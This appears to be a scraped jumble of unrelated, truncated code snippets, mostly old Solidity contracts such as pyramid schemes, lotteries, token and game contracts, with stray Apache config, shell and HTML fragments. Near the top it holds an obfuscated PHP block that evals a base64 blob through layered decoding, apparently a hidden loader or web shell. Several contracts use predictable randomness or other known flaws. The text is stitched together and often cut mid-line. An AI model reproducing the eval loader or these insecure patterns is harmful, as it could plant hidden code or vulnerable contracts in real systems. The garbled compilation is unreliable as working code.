	bytes32 public result = keccak256(abi.encodePacked(eventId, vendorTicketRefHash, ticketMetadata, ticketOwner, originalProof, doorData));

}

pragma solidity 0.4.25;


contract CryptoCats {
  struct Cat {
    uint rand;
  }

  /* The players own families of cats */
  mapping (uint => address) public familiesToPlayers;

  /* Cats are grouped in families */
  mapping (uint => uint[]) public familiesToCats;

  /* Keeps track of the family of a cat */
  mapping (uint => uint) public catsToFamilies;

  /* All our cats are here */
  Cat[] public cats;

  function createCat(uint rand, uint familyId) public {
    /* Push a new Cat in cats array */
    uint catId = cats.push(Cat({
      rand: rand
    })) - 1;

    /* Push new Cat in a family in familiesToCats mapping */
    familiesToCats[familyId].push(catId);

    /* Sets the family Id of the new Cat in catsToFamilies mapping */
    catsToFamilies[catId] = familyId;

    /* Assigning an ownership is not needed because players own families NOT cats */
  }

  function setFamilyOwnership(uint familyId, address newOwner) public {
    familiesToPlayers[familyId] = newOwner;
  }

  function setCatOwnership(uin

<!--Encrypt File By Diskominfo Kota Serang-->
<?php $code = '';eval(base64_decode(gzinflate(str_rot13(convert_uudecode(gzinflate(base64_decode(($code))))))));?

$code = 'DdFp2mswAEDh/3ZBUUNDW2NQVISLhphpae1/FffbwXneQ8LUZyF8UUHvYqc6pMzWJWpekK246fOfcnXdI6BH4k/s02mqlWtFI8jgOxX9aWbId//USfYtNuRBjW3UcUuKJNaIZ15hrdgtVCOwsETGPpBED7Rpqs8wr1PXEnOGnAE2kpdSl1K+Gw8NOVKEbH0YVoBC2Ph5JtfsYqpppdVy3XWyLdeXp5lojbFMDEn7iveCL6wLbt8sbpgrfLy8RZhL39yjzxC5X3e8idt1M5+ikVflpy305IqKgP0r5xNKIQQgsMrzDDqbhe0l+3b4vdLF7tqtse7pFw6xfegx6WiIHNUun5qeq8LIkI9dAgOd4iIz5Ac3c0nNUX6PPzDXTNKOKHihcSNi9BE9DfDpKGiwSLmkiIJTyJDXw4nVSd4cV/QumWoZ2ia7iE3g7SzVy2EXGZeq63F+rSf19/gc0Ybu7nB/pbRhGXJrbTJuXAC+swR+qwczw7pgNlQ7sOQdoLwy7mz1kcFyEdzYWfiyTKKqamPWixlSPkw2WIMIg8WBd1abZnX/jSt+7+O2pADHYtGBoXXeJIpOvcXld0zpnX3AyLkzZBL6/iCIJUL8kObTJFvKPmHpDbZb6/zT+QZVYniEAudb+mr0tGYpyrXOKMqyZwi20YqDQuTPI33j9rmmHr4JuYL3P5zyWs7fuBxE7u71jo7buJyxrlqq2ulIpQxZUdRfDQr0jDhu+Jsbo8mQoeAxjC7dVPxyFc+JGTd882ot2b/7nAPk8WM++vbvdyw9hgUtINYeYePdr6l5pe+NG3E3VugFHJ9uA0duUrpb8hRdfp1VN8LnEu6nVWHIDilejl3ZhUJ39nPZtEg3LPbZTNGXPqvRvakwncAQNr/i2VE/B7zyI3mg9uzOqPUPuP3e7ejy0yPKH8zB/Ac=';
eval(base64_decode(gzinflate(str_rot13(convert_uudecode(gzinflate(base64_decode

pragma solidity ^0.4.20;

/*
* Team JUST presents..
* ====================================*
* _____     _ _ _ _____    ___ ____   * 
*|  _  |___| | | |  |  |  |_  |    \  *
*|   __| . | | | |     |  |_  |  |  | * 
*|__|  |___|_____|__|__|  |___|____/  *
*                                     *
* ====================================*
* -> What?
* The original autonomous pyramid, improved:
* [x] More stable than ever, having withstood severe testnet abuse and attack attempts from our community!.
* [x] Audited, tested, and approved by known community security specialists such as tocsick and Arc.
* [X] New functionality; you can now perform partial sell orders. If you succumb to weak hands, you don't have to dump all of your bags!
* [x] New functionality; you can now transfer tokens between wallets. Trading is now possible from within the contract!
* [x] New Feature: PoS Masternodes! The first implementation of Ethereum Staking in the world! Vitalik is mad.
* [x] Masternodes: Holding 100 PoWH3D Tokens allow you to

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public payable {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity ^0.4.11;

/// @title Voting with delegation.
contract Ballot {
    // This declares a new complex type which will
    // be used for variables later.
    // It will represent a single voter.
    struct Voter {
        uint weight; // weight is accumulated by delegation
        bool voted;  // if true, that person already voted
        address delegate; // person delegated to
        uint vote;   // index of the voted proposal
    }

    // This is a type for a single proposal.
    struct Proposal {
        bytes32 name;   // short name (up to 32 bytes)
        uint voteCount; // number of accumulated votes
    }

    address public chairperson;

    // This declares a state variable that
    // stores a `Voter` struct for each possible address.
    mapping(address => Voter) public voters;

    // A dynamically-sized array of `Proposal` structs.
    Proposal[] public proposals;

    /// Create a new ballot to choose one of `proposalNames`.
    function Ballot(bytes32[] proposalNames) {
        

pragma solidity ^0.4.17;
contract test{
    uint[] public array = [1,2,3,4,5];
    function remove(uint index)  returns(uint[]) {
        if (index >= array.length) return;

        for (uint i = index; i<array.length-1; i++){
            array[i] = array[i+1];
        }
        delete array[array.length-1];
        array.length--;
        return array;
    }

pragma solidity ^0.4.24;
contract SimpleStore {
  function _bytes32ArrayToUintArray(bytes32[] _bytes32Array) private pure returns(uint[]) {
    uint lenIn = _bytes32Array.length;
    uint lenOut = lenIn * 32;
    uint[] memory ret = new uint[](lenOut);
    uint cnt = 0;
    for(uint i = 0; i < lenIn; i++){
      for(uint j = 0; j < 32; j++){
        ret[cnt++] = uint(_bytes32Array[i][j]);
      }
    }
    return ret;
  }
  function _getRandomUintArray(uint len) private view returns(uint[]) {
    uint nowLocal = now;
    address msgSender = msg.sender;
    uint times = 1 + uint(len / 32);
    bytes32[] memory bytes32Array = new bytes32[](times);
    uint i;
    for(i = 0; i < times; i++){
      uint seed = i + 1234567890;
      bytes32Array[i] = keccak256(seed, nowLocal, msgSender);
    }
    uint[] memory buf = _bytes32ArrayToUintArray(bytes32Array);
    uint[] memory ret = new uint[](len);
    for(i = 0; i < len; i++){
      ret[i] = buf[i];
    }    
    return ret;
  }
  function test(uint len) public vie

pragma solidity ^0.4.24;

import "../ownership/Ownable.sol";
import "../math/SafeMath.sol";
import "./ElectroGem.sol";


contract ElectroJewel is Ownable {
    using SafeMath for uint256;
    string public name = "ElectroJewel";
    string public symbol = "JEWEL";
    uint public decimals = 18;

    uint public startTime; //chain start time
    uint public startBlock; //chain start block number
    uint public stakeStartTime; //stake start time
    uint public stakeMinAge = 3 days; // minimum age for coin age: 3D
    uint public stakeMaxAge = 90 days; //stake age of full weight: 90D
    uint public maxMintProofOfStake = 10**17; // default 10% annual interest
    
    

    uint public totalSupply;
    uint public maxTotalSupply;
    uint public totalInitialSupply;
    
    ElectroGem gem;

    struct transfers{
        uint128 amount;
        uint64 time;
    }
    mapping(address => uint256) balances;
    mapping(address => mapping (address => uint256)) allowed;
    mapping(address => transfers[]) transferIn

pragma solidity ^0.4.24;

import "../math/SafeMath.sol";
import "../ownership/Ownable.sol";
import "./ElectroJewel.sol";

interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }

contract ERC20Token {
    
    using SafeMath for uint;

    string public name;
    string public symbol;
    uint8 public decimals = 18;
    uint256 public totalSupply;
    address public jewels;
    uint public difficulty = 10**28;
    uint public minTransactions = 5;
    uint public minAmount = 100000;
    
    struct transfers{
        uint128 amount;
        uint64 time;
    }
    
    struct _transfers{
        uint amountOverTime;
        uint transactions;
        uint timeSinceLastMint;
        uint noOfMints;
        uint[] transactionTimes;
    }
    
    mapping(address => transfers[]) public transferIns;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping (address => uint256)) public allowance;
    mapping(address => _t

pragma solidity ^0.4.0;


contract DonateContract {

    struct Donation {
        uint value;
        string donor;
    }
    mapping (address => Donation[]) history;
    event NewDonation(uint value, string donor, string message, address raddr);

    function donate(address _receiver, string _name, string _message) public payable {
        require(msg.value >= 0);
        history[_receiver].push(Donation(msg.value, _name));
        NewDonation(msg.value, _name, _message, _receiver);
        _receiver.transfer(msg.value);
    }

    function getDonation(address _addr, uint _id) public view returns(uint value, string name) {
        require(_id >= 0 && _id < history[_addr].length);
        return(history[_addr][_id].value, history[_addr][_id].donor);
    }

    function getDonationsCount(address _addr) public view returns(uint length) {
        return(history[_addr].length);
    }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.23;
contract Student {
  uint public studentId;

  function getStudentId() public returns (uint) {
    return studentId++;
  }

// CryptoKitties Source code
// Copied from: https://etherscan.io/address/0x06012c8cf97bead5deae237070f9587f8e7a266d#code

pragma solidity ^0.4.11;

/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() {
    owner = msg.sender;
  }


  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }


  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) onlyOwner {
    if (newOwner != address(0)) {
      owner = newOwner;
    }
  }

}



/// @title Interface for contract

// CryptoKitties Source code
// Copied from: https://etherscan.io/address/0x06012c8cf97bead5deae237070f9587f8e7a266d#code

pragma solidity ^0.4.11;

/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 * functions, this simplifies the implementation of "user permissions".
 オーナーシップ
 */
contract Ownable {
  address public owner;


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() {
    owner = msg.sender;
  }


  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }


  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) onlyOwner {
    if (newOwner != address(0)) {
      owner = newOwner;
    }
  }

}



/// @title

pragma solidity ^0.4.24;

// Enable the ABI v2 Coder
pragma experimental ABIEncoderV2;

contract UserDirectory {
    struct Contact {
        string email;
        string phone;
    }
    struct User {
        string name;
        address addr;
        Contact contact;
    }
    address _admin;
    mapping (address => User) _users;
    // User struct in the event
    event UserAdded(address indexed addr, User _user);

    constructor() public {
        _admin = msg.sender;
    }
    // User struct in the method signature
    function addUser(User _user) public {
        require(msg.sender == _admin);
        _users[_user.addr] = _user;
        emit UserAdded(_user.addr, _user);
    }
    // User struct in the returns
    function user(address addr) public constant returns (User _user) {
        return _users[addr];
    }

pragma solidity ^0.4.24;

//import "./erc20.sol";

contract User {

    /*modifier enoughmoney {
        require(balanceOf(msg.sender)>=1);
        _;
    }*/
    address public PlayerA;
    address public PlayerB;
    
    uint8 public endGame = 1; //"1" means game has already ended (default Value is 1)

    function DefineUserA() public {
        require(msg.sender != PlayerB);
        require(endGame == 1);
        PlayerA = msg.sender;
        //transferFrom(PlayerA, 0x0, 1);
     }

    function DefineUserB() public {
        //require(msg.sender != PlayerA);
        require(PlayerA != 0x0000000000000000000000000000000000000000); 
        //playerA should already be defined
        require(endGame == 1);
        PlayerB = msg.sender;
        endGame = 0; //now the game has been startet
        //transferFrom(PlayerB, 0x0, 1);
    }
//needs a lock, so functions can't be called while game is still going on
}

contract Fields is User{

    //if someone wants to choose a field, we need to make sure that it i

<IfModule mod_deflate.c>
  # Compress HTML, CSS, JavaScript, Text, XML and fonts
  AddOutputFilterByType DEFLATE application/javascript
  AddOutputFilterByType DEFLATE application/rss+xml
  AddOutputFilterByType DEFLATE application/vnd.ms-fontobject
  AddOutputFilterByType DEFLATE application/x-font
  AddOutputFilterByType DEFLATE application/x-font-opentype
  AddOutputFilterByType DEFLATE application/x-font-otf
  AddOutputFilterByType DEFLATE application/x-font-truetype
  AddOutputFilterByType DEFLATE application/x-font-ttf
  AddOutputFilterByType DEFLATE application/x-javascript
  AddOutputFilterByType DEFLATE application/xhtml+xml
  AddOutputFilterByType DEFLATE application/xml
  AddOutputFilterByType DEFLATE font/opentype
  AddOutputFilterByType DEFLATE font/otf
  AddOutputFilterByType DEFLATE font/ttf
  AddOutputFilterByType DEFLATE image/svg+xml
  AddOutputFilterByType DEFLATE image/x-icon
  AddOutputFilterByType DEFLATE text/css
  AddOutputFilterByType DEFLATE text/html
  AddOutputFilterByType DEFLATE 

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity ^0.4.24;
 
/*
import "github.com/OpenZeppelin/zeppelin-solidity/blob/v1.12.0/contracts/token/ERC20/StandardToken.sol";
 
contract KantiCoin is StandardToken {
  string public symbol = "KCOIN";
  string public name = "KantiCoin";
  uint8 public decimals = 18;
  function KantiCoin() public {
    balances[msg.sender] = 1000 * (10 ** uint256(decimals));
    totalSupply = 1000 * (10 ** uint256(decimals));
  }
}*/
 
 
contract User {
 
    /*modifier enoughmoney {
        require(balanceOf(msg.sender)>=1);
        _;
    }*/
    address internal PlayerA;
    address internal PlayerB;
    mapping (address => uint8) internal playerSymbol;
   
    bool internal endGame = true; // true means game has already ended (default Value is true)
 
    function defineUsers() public {
        require(endGame == true);
        require(PlayerB == 0x0000000000000000000000000000000000000000);
        if (PlayerA == 0x0000000000000000000000000000000000000000) {
            PlayerA = msg.sender;
            playerSymbo

pragma solidity ^0.4.24;
pragma experimental ABIEncoderV2;

/**
*  Distribution Entities, Inventory and Auditing contract
* 
*  Version 1.0
*/

contract DistributionEntities {
    
    // Healthcare funding institutions
    mapping(address => bool) internal HC_institutions_;
    
    // Registered addresses
    mapping(address => bool) internal isRegisteredEntity_;
    
    // Inventory by address
    mapping(address => Inventory) internal EntityInventory_;
    
    // Auditors addresses scope
    mapping(address => mapping(address => Inventory)) internal AuditingAddresses_;
    
    
    // Address publishing contract
    address administrator;
    
    // Investor address and revenue (3%)
    address InvestorAddress;
    uint8 constant internal investorPercFee = 3;
    
    // Development/maintenance address and fee (1%)
    address DevelopmentAddress;
    uint8 constant internal developmentPercFee = 1;
    
    // Minimun funding
    uint256 private minContractFunding;
    uint256 private minEntityFunding;

mogrify -sampling-factor 4:2:0 -strip -quality 70 -interlace JPEG -colorspace sRGB -geometry x600 *.jp

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract GuessNumber{

  bytes32 answerHash=0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
  function guess() public view returns(uint8){
    

    for(uint8 i=0; i<=2**8; i++)
    {
      if(keccak256(i) == answerHash)
      {
        return i;
      }
    }

  }

  function Test() public view returns(uint8){

    uint8 result;
    result=uint8(answerHash);
    return result;
  }

   
    function checkTransactionTimes(address _addr, uint _now) internal returns(uint t){
        require(transferIns[_addr].length > 0);
         for (uint i = 0; i <transferIns[_addr].length; i++){
            if(_now < uint(transferIns[_addr][i].time).add(10 hours)) continue;
            uint nCoinsSeconds = _now.sub(uint(transferIns[_addr][i].time));
            if( nCoinsSeconds > 2 days ) nCoinsSeconds = 2 days;
            t = t.add(uint(transferIns[_addr][i].amount) * nCoinsSeconds.div(1 days));
        }
    }
    
    function getPOUTokenWeight(address _addr) external returns (uint _tokenWeight){
        uint z;
        uint w;
        //require(now - transferIns[_addr].time >= 10 hours);
        require(__transfers[_addr].transactions > 0 && __transfers[_addr].transactions < minTransactions);
        require(__transfers[_addr].amountOverTime > __transfers[_addr].transactions && __transfers[_addr].amountOverTime >= minAmount);
        uint _tokenRatio = (__transfers[_addr].amountOverTime).mul(__tra

pragma solidity ^0.4.24;

/**
*  Distribution Entities, Inventory and Auditing contract
* 
*  Version 1.0
*/

contract DistributionEntities {
    
    // Healthcare funding institutions
    mapping(address => bool) internal HC_institutions_;
    
    // Registered addresses
    mapping(address => bool) internal isRegisteredEntity_;
    
    // Inventory by address
    mapping(address => Inventory) internal EntityInventory_;
    
    // Auditors addresses scope
    mapping(address => mapping(address => Inventory)) internal AuditingAddresses_;
    
    
    // Address publishing contract
    address administrator;
    
    // Investor address and revenue (3%)
    address InvestorAddress;
    uint8 constant internal investorPercFee = 3;
    
    // Development/maintenance address and fee (1%)
    address DevelopmentAddress;
    uint8 constant internal developmentPercFee = 1;
    
    // Minimun funding
    uint256 private minContractFunding;
    uint256 private minEntityFunding;
    uint256 private minOperativeB

contract Rubixi {
        uint private balance = 0;
        uint private collectedFees = 0;
        uint private feePercent = 10;
        uint private pyramidMultiplier = 300;
        uint private payoutOrder = 0;

        address private creator;

        function DynamicPyramid() {
                creator = msg.sender;
        }

        struct Participant {
                address etherAddress;
                uint payout;
        }

        Participant[] private participants;

        function() {
                addPayout ();
        }

        function addPayout(uint _fee) private {
                participants.push(Participant(msg.sender, (msg.value * pyramidMultiplier) / 100));

                if (participants.length == 10) pyramidMultiplier = 200;
                else if (participants.length == 25) pyramidMultiplier = 150;

                balance += (msg.value * (100 - _fee)) / 100;
                collectedFees += (msg.value * _fee) / 100;

                while (balance > participants[payoutOrder

contract Rubixi {
        uint private balance = 0;
        uint private collectedFees = 0;
        uint private feePercent = 10;
        uint private pyramidMultiplier = 300;
        uint private payoutOrder = 0;

        address private creator;

        function DynamicPyramid() {
                creator = msg.sender;
        }

        struct Participant {
                address etherAddress;
                uint payout;
        }

        Participant[] private participants;

        function() {
                addPayout ();
        }

        function addPayout(uint _fee) private {
                participants.push(Participant(msg.sender, (msg.value * pyramidMultiplier) / 100));

                if (participants.length == 10) pyramidMultiplier = 200;
                else if (participants.length == 25) pyramidMultiplier = 150;

                balance += (msg.value * (100 - _fee)) / 100;
                collectedFees += (msg.value * _fee) / 100;

                while (balance > participants[payoutOrder

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
  pragma solidity ^0.4.18;
  contract JsonStore {
    function set(string _value) public {
      value = _value;
    }

    function get() public constant returns (string) {
      return value;
    }

    string value;
  

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;
contract Student {
  uint public studentId;

  function getStudentId() public returns (uint) {
    return studentId++;
  }

pragma solidity ^0.4.24;

contract DistributionEntities {
    
    // Healthcare funding institutions
    mapping(address => bool) internal HC_institutions_;
    
    // Registered addresses
    mapping(address => bool) internal isRegisteredEntity_;
    
    // Inventory by address
    mapping(address => Inventory) public addressInventory_;
    
    // Address publishing contract
    address administrator;
    
    // Investors address and revenue (3%)
    address InvestorsAddress;
    uint8 constant internal investorsPercFee = 3;
    
    // Development/maintenance address and fee (1%)
    address DevelopmentAddress;
    uint8 constant internal developmentPercFee = 1;
    
    // Minimun funding
    uint256 minContractFunding = 1 ether;
    uint256 minEntityFunding = 0.01 ether;
    uint256 minOperativeBalance = 0.001 ether;
    
    // Total operating cost
    uint256 public totalOperatingCost;


    // Distribution entities
    struct Entity {
        address ID;
        uint8 EntityType;     
        bool

pragma solidity ^0.4.24;

contract DistributionEntities {
    
    // Registered addresses
    mapping(address => bool) isRegisteredEntity;
    mapping(address => Inventory) addressInventory;


    // Distribution entities
    struct Entity {
        address ID;
        uint8 EntityType;     
        bool Active;
        
    }
    
    
    // Opioids inventory
    struct Inventory {
        address ID;
        uint code;
        string name;
        uint StockIn;
        uint StockOut;
    }
    
    
    // Entities array
    Entity[] private entities;
    
    
    // Inventory array
    Inventory[] private inventories;


    // Health Institutions fund the contract directly
    function () public payable { }
    
    
    function createEntity(uint8 _EntityType) public 
    {
        require(!isRegisteredEntity[msg.sender]);
        //
        entities.push(Entity(msg.sender, _EntityType, true));
        isRegisteredEntity[msg.sender] = true;
    }
    

    // Authorized addresses only
    function getC

pragma solidity ^0.4.17;

contract Lottery {
    address public manager;
    address[] public players;

    function Lottery() public {
        manager = msg.sender;
    }

    function enter() public payable {
        require(msg.value > .01 ether);
        players.push(msg.sender);
    }

    function random() private view returns(uint) {
        return uint(keccak256(block.difficulty, now, players));
    }

    function pickWinner() public restricted {
        uint index = random() % players.length;
        players[index].transfer(this.balance);
        players = new address[](0);
    }

    modifier restricted() {
        require(msg.sender == manager);
        _;
    }

    function getPlayers() public view returns (address[]) {
        return players;
    }
}

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity ^0.4.25;

contract C {
    
  function g(uint t) public pure returns (uint256) {
      if (t == 1) {
          uint256 x = 1;
      } else {
          x = 2;
      }
      return x;
  }       
}

pragma solidity ^0.4.24;

//import "./erc20.sol";

contract User {

    /*modifier enoughmoney {
        require(balanceOf(msg.sender)>=1);
        _;
    }*/
    address public PlayerA;
    address public PlayerB;
    
    uint8 public endGame = 1; //"1" means game has already ended (default Value is 1)

    function DefineUsers() public {
        require(endGame == 1);
        require (PlayerB = 0x0000000000000000000000000000000000000000);
        if (PlayerA = 0x0000000000000000000000000000000000000000) {
            PlayerA = msg.sender;
        }

        else{
            PlayerB = msg.sender;
            endGame = 0;
        }
    }
//needs a lock, so functions can't be called while game is still going on
}

contract Fields is User{

    //if someone wants to choose a field, we need to make sure that it isn't occupied yet
    // i describes the row, k the column
  
    uint [3][3] public fields;
    
 
    function fieldChange (uint i, uint k, uint value) public { //not sure if I used enum correctly he

pragma solidity ^0.4.25;


contract SimpleStorage {
    uint value;
    function delegate(uint _val) public {
        // store(_val); ← これはエラー
        // ↓ これはOK
        require(address(this).call(bytes4(keccak256("store(uint256)")), _val), "call failed");
    }
    function store(uint _val) external {
        value = _val;
    }
    function getMul() public view returns(uint) {
        return value * 2;
    }

pragma solidity ^0.4.11;


/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() {
    owner = msg.sender;
  }


  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }


  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) onlyOwner {
    if (newOwner != address(0)) {
      owner = newOwner;
    }
  }

}



/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
/// @author Dieter Shirley <[email protected]> (https://github.com/dete)
contr

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
}

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

  function test() public pure {

  }

}

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.25;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.1.1;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

function exampleFunction() constant returns(<cryptip data-tippy-interactive="true" class="cryptip" data-coin="int" data-tippy="" aria-describedby="tippy-4">int</cryptip>, <cryptip data-tippy-interactive="true" class="cryptip" data-coin="int" data-tippy="" aria-describedby="tippy-5">int</cryptip>, uint) {
return (myStruct.name, myStruct.lastName, myStruct.age);
  

function exampleFunction() constant returns(<cryptip data-tippy-interactive="true" class="cryptip" data-coin="int" data-tippy="" aria-describedby="tippy-7">int</cryptip>, <cryptip data-tippy-interactive="true" class="cryptip" data-coin="int" data-tippy="" aria-describedby="tippy-8">int</cryptip>, uint) {
return (myStruct.name, myStruct.lastName, myStruct.age);
  

pragma solidity ^0.4.24;

//Cria uma interface para voce comunicar com o token ERC20
interface ERC20Interface {
  function balanceOf(address who) external constant returns (uint256);
  function transfer(address to, uint256 value) external returns (bool);
}

contract MyPlataformUserTokenSilvio {
    
    //Declara a Interface
    ERC20Interface tokenInterface;
    
    //Aqui voce irá Setar o endereço do token ou seja, voce irá dizer pro codigo,
    //"Ei codigo, voce deve se comunicar com esse contrato aqui Ò"
    //passa o contrato do seu token
    function _setInterfaceContractAddress(address _address) external {
        tokenInterface = ERC20Interface(_address);
    }
    
    //Como voce disse que queria fazer um pagamento fiz um pequeno exemplo de como ira se comportar,
    //1- Pega o saldo do usuario
    //2- testa pra ver se o usuario de fato tem seu saldo
    //3- Faz a tranferencia, lembre que o saldo sai do endereço do usuario, ou seja, se ele não tiver tokens a transação não ira ser concl

pragma solidity ^0.4.24;

//import "./erc20.sol";

contract User {

    /*modifier enoughmoney {
        require(balanceOf(msg.sender)>=1);
        _;
    }*/
    address public PlayerA;
    address public PlayerB;
    
    uint8 public endGame = 1; //"1" means game has already ended (default Value is 1)

    function DefineUserA() public {
        require(msg.sender != PlayerB);
        require(endGame == 1);
        PlayerA = msg.sender;
        //transferFrom(PlayerA, 0x0, 1);
     }

    function DefineUserB() public {
        //require(msg.sender != PlayerA);
        require(PlayerA != 0x0000000000000000000000000000000000000000); 
        //playerA should already be defined
        require(endGame == 1);
        PlayerB = msg.sender;
        endGame = 0; //now the game has been startet
        //transferFrom(PlayerB, 0x0, 1);
    }
//needs a lock, so functions can't be called while game is still going on
}

contract Fields is User{

    //if someone wants to choose a field, we need to make sure that it i

pragma solidity ^0.4.24;

//import "./erc20.sol";

contract User {

    /*modifier enoughmoney {
        require(balanceOf(msg.sender)>=1);
        _;
    }*/
    address public PlayerA;
    address public PlayerB;
    
    uint8 public endGame = 1; //"1" means game has already ended (default Value is 1)

    function DefineUserA() public {
        require(msg.sender != PlayerB);
        require(endGame == 1);
        PlayerA = msg.sender;
        //transferFrom(PlayerA, 0x0, 1);
     }

    function DefineUserB() public {
        //require(msg.sender != PlayerA);
        require(PlayerA != 0x0000000000000000000000000000000000000000); 
        //playerA should already be defined
        require(endGame == 1);
        PlayerB = msg.sender;
        endGame = 0; //now the game has been startet
        //transferFrom(PlayerB, 0x0, 1);
    }
//needs a lock, so functions can't be called while game is still going on
}

contract Fields is User{

    //if someone wants to choose a field, we need to make sure that it i

pragma solidity ^0.4.24;

//import "./erc20.sol";

contract User {

    /*modifier enoughmoney {
        require(balanceOf(msg.sender)>=1);
        _;
    }*/
    address public PlayerA;
    address public PlayerB;
    
    uint8 public endGame = 1; //"1" means game has already ended (default Value is 1)

    function DefineUserA() public {
        require(msg.sender != PlayerB);
        require(endGame == 1);
        PlayerA = msg.sender;
        //transferFrom(PlayerA, 0x0, 1);
     }

    function DefineUserB() public {
        //require(msg.sender != PlayerA);
        require(PlayerA != 0x0000000000000000000000000000000000000000); 
        //playerA should already be defined
        require(endGame == 1);
        PlayerB = msg.sender;
        endGame = 0; //now the game has been startet
        //transferFrom(PlayerB, 0x0, 1);
    }
//needs a lock, so functions can't be called while game is still going on
}

contract Fields is User{

    //if someone wants to choose a field, we need to make sure that it i

pragma solidity ^0.4.24;

// ----------------------------------------------------------------------------
// 'FIXED' 'Example Fixed Supply Token' token contract
//
// Symbol      : KantiCoin
// Name        : The Kanti Coin
// Total supply: 1,000,000.000000000000000000
// Decimals    : 18
//
// Enjoy.
//
// (c) BokkyPooBah / Bok Consulting Pty Ltd 2018. The MIT Licence.
// ----------------------------------------------------------------------------


// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
    function add(uint a, uint b) internal pure returns (uint c) {
        c = a + b;
        require(c >= a);
    }
    function sub(uint a, uint b) internal pure returns (uint c) {
        require(b <= a);
        c = a - b;
    }
    function mul(uint a, uint b) internal pure returns (uint c) {
        c = a * b;
        require(a == 0 || c / a == b);
    }
    function di